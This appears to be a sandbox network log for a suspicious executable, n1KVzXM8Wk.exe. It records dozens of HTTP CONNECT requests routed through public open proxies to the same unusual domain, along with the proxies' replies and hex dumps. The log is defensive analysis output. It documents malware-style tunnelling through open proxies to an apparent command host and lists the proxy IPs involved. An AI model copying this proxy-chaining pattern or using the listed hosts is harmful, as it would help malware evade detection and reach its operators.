Feb 23, 2024 09:45:34.305598021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2008	192.168.2.4	55262	195.90.216.75	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.305651903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2009	192.168.2.4	55304	142.54.228.193	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.305696964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2010	192.168.2.4	53913	180.183.134.8	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.426429033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.475045919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.485193968 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2011	192.168.2.4	53959	45.11.95.165	5219	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.426723957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2012	192.168.2.4	55443	161.189.203.29	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.426834106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.752114058 CET	208	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:34 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: Apache/1.3.28 (SolutionIP) mod_perl/1.28 mod_ssl/2.8.15 OpenSSL/0.9.7b Content-Length: 0
Feb 23, 2024 09:45:37.855093956 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-3</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:37.868695021 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-3</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2013	192.168.2.4	54918	24.106.221.230	53281	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.429367065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.030798912 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2014	192.168.2.4	55475	45.179.231.210	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.430387974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2015	192.168.2.4	55482	193.239.58.92	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.445058107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2016	192.168.2.4	54050	187.251.222.69	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.445913076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.961505890 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2017	192.168.2.4	55491	51.75.42.129	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470155954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.094989061 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 09:45:41.823044062 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2018	192.168.2.4	55472	218.252.244.126	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470155954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.777309895 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2019	192.168.2.4	55289	144.91.115.113	48780	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470276117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.599414110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.709880114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2020	192.168.2.4	55266	183.56.243.209	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470374107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2021	192.168.2.4	54038	185.23.118.103	54244	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470416069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.475171089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569266081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2022	192.168.2.4	55514	104.21.64.208	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.470484018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.564229965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:34 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2023	192.168.2.4	55281	27.65.30.37	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.807533026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2024	192.168.2.4	53976	132.148.129.254	41026	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.807611942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.858810902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.944168091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2025	192.168.2.4	53989	200.39.154.1	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.896637917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.974962950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.975287914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2026	192.168.2.4	54950	170.79.181.188	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.938884974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2027	192.168.2.4	55507	200.41.148.2	12000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.953774929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2028	192.168.2.4	55478	124.160.118.183	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.973295927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.382062912 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Fri, 23 Feb 2024 21:06:38 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2029	192.168.2.4	55245	113.204.4.142	10800	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:34.986450911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2030	192.168.2.4	54961	107.180.90.88	63100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.009179115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.037667990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.046408892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.053355932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2031	192.168.2.4	55277	202.57.25.94	3127	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.009660006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.037672043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.878556013 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2032	192.168.2.4	55417	47.91.65.23	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.024409056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.274797916 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2033	192.168.2.4	55080	67.201.33.10	25283	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.056844950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2034	192.168.2.4	55510	223.19.111.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.072210073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.769330978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.795460939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.636625051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443880081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.115528107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.787408113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:57.131979942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.845125914 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2035	192.168.2.4	55513	47.242.234.237	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.102686882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2036	192.168.2.4	54062	128.199.221.91	8004	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.102802038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.881376982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.865823030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.865842104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2037	192.168.2.4	55378	5.133.16.171	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.250433922 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.
Feb 23, 2024 09:45:36.748838902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2038	192.168.2.4	55518	172.67.209.12	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.797684908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.884974003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:35 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2039	192.168.2.4	55386	72.195.34.59	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.809968948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2040	192.168.2.4	55521	209.145.56.51	18508	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:35.872862101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2041	192.168.2.4	55520	204.236.176.61	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.715373039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.880242109 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:36 GMT Content-Type: text/plain X-Powered-By: PHP/5.5.9-1ubuntu4.21 Server: Apache Tomcat/4.0.3 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2042	192.168.2.4	55270	192.111.129.145	16894	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.715677977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2043	192.168.2.4	55432	42.61.48.219	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.715820074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.549911976 CET	174	IN	HTTP/1.1 503 Service Unavailable content-length: 18 content-type: text/plain date: Fri, 23 Feb 2024 08:25:43 GMT server: svcproxy connection: close Data Raw: 44 4e 53 20 63 61 63 68 65 20 6f 76 65 72 66 6c 6f 77 Data Ascii: DNS cache overflow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2044	192.168.2.4	55528	104.20.123.164	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.715945959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
